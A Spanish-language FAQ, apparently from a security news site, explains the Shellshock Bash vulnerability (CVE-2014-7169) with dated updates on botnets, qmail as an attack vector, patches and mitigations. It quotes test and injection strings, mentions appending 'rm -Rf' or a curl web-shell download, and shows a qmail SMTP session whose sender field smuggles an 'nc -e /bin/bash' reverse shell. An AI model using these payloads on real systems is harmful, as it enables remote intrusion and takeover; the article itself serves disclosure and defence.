FAQ de #Shellshock: Exploit, RCE, DDoS y malware para #Bash en Linux, Unix y Mac OS X

1. Introducción
2. ¿Cuál es el problema
3. Muchas formas de atacar
4. ¿Cuál es el impacto de la vulnerabilidad?
5. ¿Debo aplicar el parche?
6. ¿Cuáles son mis otras opciones? ¿Qué debo hacer?
7. ¿Cómo puedo encontrar sistemas vulnerables?
   Herramientas
8. Más información
9. 27/09 - Botnets
10. 28/09 - Uso de qmail como vector de ataque
11. 29/09 -Colección de exploits (29/09)
12. 30/09 -Recomendaciones
13. 05/10 - Más PoCs y línea de tiempo

Introducción

Ayer se anunció una vulnerabilidad en GNU Bash (Bourne Again Shell) (CVE-2014-7169) originalmente encontrada por el francés Stephane Schazelas de Akamai y que afecta desde la versión 1.14 hasta la 4.3 de Bash. La vulnerabilidad permite la ejecución de código arbitrario en Bash al establecer variables de entorno específicos. Más tarde Travis Ormandy lanzó un segundo exploit que funcionaba en sistemas parcheados porque los parches lanzados ayer eran incompletos.

Tod Beardsley, administrador de ingeniería en la firma de ciberseguridad Rapid7, advirtió de que el error tenía una nota de gravedad "10", lo que significa que tiene un impacto máximo, y una calificación "baja" en complejidad de explotación, lo que significa que es relativamente fácil de utilizar por piratas informáticos para lanzar ataques.

"Al usar esta vulnerabilidad, los atacantes potencialmente pueden tomar el control del sistema operativo, acceder a información confidencial, hacer cambios, etc. Cualquiera con sistemas que ocupen Bash deben aplicar el parche inmediatamente", dijo Beardsley.

¿Cúal el problema?

Como menciona David Garcia en Hispasec, al crear crear una función en el intérprete, exportarla e invocarla:

$function test { echo "hola";}
$ export –f test
$ bash
$ test
  hola

El problema está en el mecanismo que hace de exportación de esa función, la forma en la que lo hace y como interpreta el código que se inyecta en el entorno donde es exportada.

Para conseguir esa exportación de funciones bash recurre a un pequeño "truco". No exporta la función en sí, sino en una variable de entorno donde se interpreta su valor como el cuerpo de una función. Vamos a verlo modificando el ejemplo anterior, en vez de una función vamos a crear una variable de entorno:

$ test='() {echo "hola";}'

Exportamos, no una función sino una variable que es lo que haría el intérprete:

$ export test
$ bash
$ test
  hola

Cuando el entorno recibe esta variable y el interprete detecta la siguiente cadena '() {' entiende que está ante una función y comienza a interpretar su código. El problema y aquí entramos en la zona peligrosa, es que no para de interpretar cuando termina el cuerpo de la función y continua ejecutando el código que viene detrás del cuerpo.

Por ejemplo, si el intérprete tiene la siguiente variable-función exportada con código más allá de la definición de la función:

'(){ echo "hola"; }; /bin/ls'

Terminará ejecutando el '/bin/ls' cuando se esté interpretando esa cadena. No hará falta invocar la función, justo cuando el interprete procese las cadenas detrás del cuerpo de la función ejecutará el comando. Idealmente, debería de terminar justo cuando encuentre el '};' correspondiente pero inexplicablemente no lo hace y peor aun ejecuta directamente ese código anexado al cuerpo de la función.

Otra cadena y scripts válidos sería:

env x='() { :;}; echo vulnerable' bash -c "echo Esto es una prueba"

El ejemplo que se propagó es la mínima expresión de definición de una función en bash "() { :;};"

El bloque de la función definida contiene el carácter ":" que en bash no hace nada, simplemente devolver cero (su correspondiente en C sería un "return 0;"). A esa cadena por supuesto se le puede adosar cualquier comando, desde un echo "yo estuve aquí" hasta un devastador "rm –Rf" o un "curl****/mi_shell.php" para depositarla en "/var/www/".

Muchas formas de atacar

En las pocas horas que lleva In-the-Wild, ya han aparecido exploit y PoC para lograr (RCE) Remote Code Execution (RCE), ataques web que permiten subir código y shell a sitios web, y troyanos que permiten realizar ataques de DDoS, BruteForce sobre usuarios y contraseñas de la red y robo de información a distintas direcciones IP que han ido cambiando durante el día e incluso ya se han visto gusanos explotando la vulnerabilidad. Basicamente estamos hablando de un troyano ELF que permite DDoS, Flooder, Scanner, Bot-Backdoor y Login bruter, R00ter.

En esta imagen se puede ver la lista de contraseñas que intenta el troyano:

Otro de los troyanos bautizados como ELF_BASHLITE, ELF Linux/Bash0day o Shellshock o Bashroot ha sido analizado por TrendMicro.

¿Cuál es el impacto de la vulnerabilidad?

Al principio, la vulnerabilidad no parece tan grave pero la realidad es que se puede ejecutarse código remoto simplemente establecimiento de una variable de entorno y sin que el usuario se percate de la situación.

El escenario más problemático parece ser cuando un Bash Scripts es ejecutado mediante cgi-bin. La especificación CGI requiere que el servidor web convierta la solicitud de los headers HTTP suministrados por el cliente y las transforme en variables de entorno.

Entonces, se puede aprovechar que Apache "transforma" las cabeceras en variables de entorno: por ejemplo el User-Agent se introducirá como valor de la variable de entorno HTTP_USER_AGENT de Apache. Si un script Bash se llama vía cgi-bin, un atacante puede utilizar estas variables para ejecutar código que el servidor web.

Otros escenarios probables involucran SSH al momento de establecer variables de entorno, pero tendrían que establecerse en el servidor en un archivo de configuración. Otra alternativa es mediante clientes DHCP que en algunos casos ejecutan scripts Bash y utilizan variables de entorno suministradas por el servidor.

Esta PoC de TrustSec muestra como se puede insertar código en la opción 114 (default-url) del servidor DHCP para explotar la vulnerabilidad. Este caso puede ser explotable si el usuario se conecta a un servidor DHCP no confiable ("cofeehouse wifi").

En las últimas horas ya se han producido ataques basados en la vulnerabilidad a routers de particulares y controladores utilizados en la gestión de instalaciones de infraestructuras críticas, haciendo barridos aleatorios en Internet en busca de equipos con la vulnerabilidad para tomar el control de los mismos y lanzar ataques de DoS.

¿Debo aplicar el parche?

Sí pero el parche va a arreglar sólo algunos de los aspectos de la vulnerabilidad y no soluciona totalmente la vulnerabilidad. Aún se desconocen los efectos secundarios del parche y de las distintas opciones de ataques que podrían existir.

La mayoría de distribuciones Linux ya han distribuido un primer parche, aunque está incompleto y no acaba de corregir del todo la vulnerabilidad.

Por su parte los usuarios de Apple estan expuestos ya que los de Cupertino no han dado ninguna respuesta aunque estos sistemas suelen estar menos expuestos a Internet, y en última instancia ya hay instrucciones para parchear su instalación.

Mientras se esperan las actualizaciones definitivas se puede utilizar este script para prevenir y mitigar el impacto.

¿Cuáles son mis otras opciones? ¿Qué debo hacer?

Puesto que el parche es incompleto, se debería intentar implementar medidas adicionales para proteger los sistemas. Algunos vendedores de sistema de detección de intrusiones (IDS) y Firewall de aplicaciones Web (WAF) han publicado las reglas para bloquear la explotación pero las reglas aún podrían estar incompletas porque sólo buscan la cadena "() {" que estaba presente en la prueba inicial.

Una alternativa sería cambiar la shell por defecto para una alternativa como ksh o sh pero esto podría generar errores en algunas secuencias de comandos determinadas.

En sistemas embebidos se podría utiliza la shell alternativa como Busybox que no es vulnerable.

¿Cómo puedo encontrar sistemas vulnerables?

Si puede iniciar sesión en el sistema y se puede utilizar algunas de las cadenas de test publicadas, como la siguiente:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"

Si ya se ha aplicado el parche, se puede utilizar este comando:

env x='() { (a)=>\' bash -c "echo date";

Este comando devolverá un error en un sistema totalmente parcheado, pero creará un archivo vacío denominado "echo".

Existen varios módulos para escáneres de vulnerabilidad que buscan sistemas vulnerables. También se puede utilizar una búsqueda en Google para encontrar servidores web vulnerables. Por ejemplo: filetype:sh inurl:cgi-bin site:[su_dominio].

Además se debe controlar los servidores web en sistemas embebidos como routers para que no pueden ejecutar secuencias de comandos bash con privilegios elevados.

Con respecto a PHP, RedHat ha declarado que mod_php, mod_perl y mod_python no utilizan variables de entorno y en principio no se verían afectados. De todos modos, se han publicado varios consejos para mitigar el ataque.

Herramientas

Además, se puede utilizar esta herramienta y esta otra para revisar los servidores en línea y Tripwire ha publicado una herramienta para probar los sistemas propios.

Más información

Distintos medios se han hecho eco de la noticia publicando distinto tipo de información e ISC ha publicado un video al respecto y slides PDF con más información. Redhat por su parte mantiene la información permanentemente actualizada y Qualys ha publicado varias actualizaciones al respecto.

27/09 - Botnets

En las últimas horas ha aparecido la botnet wopbot y la misma se encuentra realizando exploración del Internet para encontrar sistemas vulnerables. Wopbot se está utilizando para lanzar ataques DDoS contra servidores de contenidos de Akamai realiza scaneos en el puerto TCP 23 (Telnet) para propósitos de ataque de fuerza bruta.

"Si bien se desconoce la cantidad de sistemas infectados en la botnet wopbot, se cree que el número podría aumentar muy rápidamente ya que podría infectar más de 200.000 zombies en una hora" dijo Emanuele Gentili, de la empresa Tiger Security.

28/09 - Uso de qmail como vector de ataque

"D. J. Bernstein (aka djb) reconoció que el popular servidor de correo qmail podía ser utilizado como un vector de ataque para explotar bash vulnerables

Las condiciones previas para que este ataque funcione son:

• bash "shellshock" vulnerables
• un enlace simbolico de /bin/sh a bash
• entrega de un correo electrónico a través de qmail a un usuario válido

Al parece la explotación se puede realizar a través de qmail-1.03 (última versión de DJB) y netqmail-1.06, debido a la falta de validaciones en ciertos campos del protocolo SMTP.

Ejemplo:

terminal 0)

$ nc -l -p 7777

(terminal 1)

$ pwd
/home/kgeorge
$ cat .qmail
|/bin/cat
$ telnet localhost 25
Trying 127.0.0.1... 
Connected to localhost.
Escape character is '^]'. 
220 mail.example.com ESMTP 
ehlo me
250-mail.example.com
250-PIPELINING
250 8BITMIME
mail from:<() { :; }; nc -e /bin/bash localhost 7777>
250 ok
rcpt to:
250 ok
data
354 go ahead
Subject: Vuln

.
250 ok 1411674782 qp 4151

(terminal 0)

$ nc -l -p 7777
ls
mail
whoami
kgeorge

Como se puede ver se puede ejecutar comandos remotos a través de la utilización las variables de entorno que son utilizadas por qmail para pasar información a otros proceso.

La recomendación por ahora es actualizar bash y cambiar /bin/sh a algo como dash.

29/09 - Colección de exploits

Johannes Ullrich de SANS ha publicado una colección de exploits para Shellshock y que actualmente se encuentra siendo explotados activamente.

30/09 - Recomendaciones

• Actualizar inmediatamente la versión vulnerable de Bash, según la distribución:
  
  • RedHat
  • Debian
  • Centos
  • Ubuntu
  • Novell
  • MacOS Lion, Mountain Lion y Mavericks 
• También existen actualizaciones para Bash 3.2 que se pueden descargar desde gnu.org y compilar.
• Si no actualizará Bash, considere cambiar de Shell, al menos temporalmente.
• Monitorear los logs para detectar cualquier tipo de firma o cadena dañina y bloquear estos intentos con las herramientas que se dispongan.
• Analice cada uno de sus servidores/servicios web, de correo, DNS, etc. para verificar que no exista un vector de ataque a través de esos servicios, según hemos informado en este artículo.

05/10 - Más PoCs y línea de tiempo

En este enlace del repositorio Github de Rob Fuller (Mubix) se van recopilando todos los POCs de ShellShock que van apareciendo. Además, David A. Wheeler ha creado una página con el timeline de Shellshock.

Cristian de la Redacción de Segu-Info

Suscríbete a nuestro Boletín